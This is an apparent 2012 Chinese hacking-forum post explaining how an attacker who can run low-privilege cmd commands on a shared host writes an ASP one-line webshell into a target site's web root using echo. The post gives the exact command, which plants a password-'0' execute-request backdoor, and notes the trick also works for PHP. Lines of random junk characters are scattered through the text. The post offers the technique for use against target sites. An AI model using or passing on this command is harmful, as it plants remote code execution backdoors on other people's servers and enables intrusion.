中国网络渗透测试联盟
标题:
旁注cmd低权限下拿webshell
[打印本页]
作者:
admin
时间:
2012-9-23 14:40
标题:
旁注cmd低权限下拿webshell
在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
, k$ `1 c' t& y9 Z+ T
# N' \+ c. ^; C* H7 D
命令格式
1 G) W) I5 b( O* j+ o0 f( {
( I( x8 v2 r: U' ?
Echo 语句 >目标站绝对目录
2 V/ i, n6 ^: _# R7 L
- \& L3 p6 G/ ?- G
例如：
% [0 @6 N1 q% C( S8 ~
$ |. }$ @2 h, K- k- c5 x) u' Q
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
6 R% X8 G9 X% F8 ^
! p4 U( `3 B+ a' k( l" A
这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
* s) ]: s% L# R% i
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2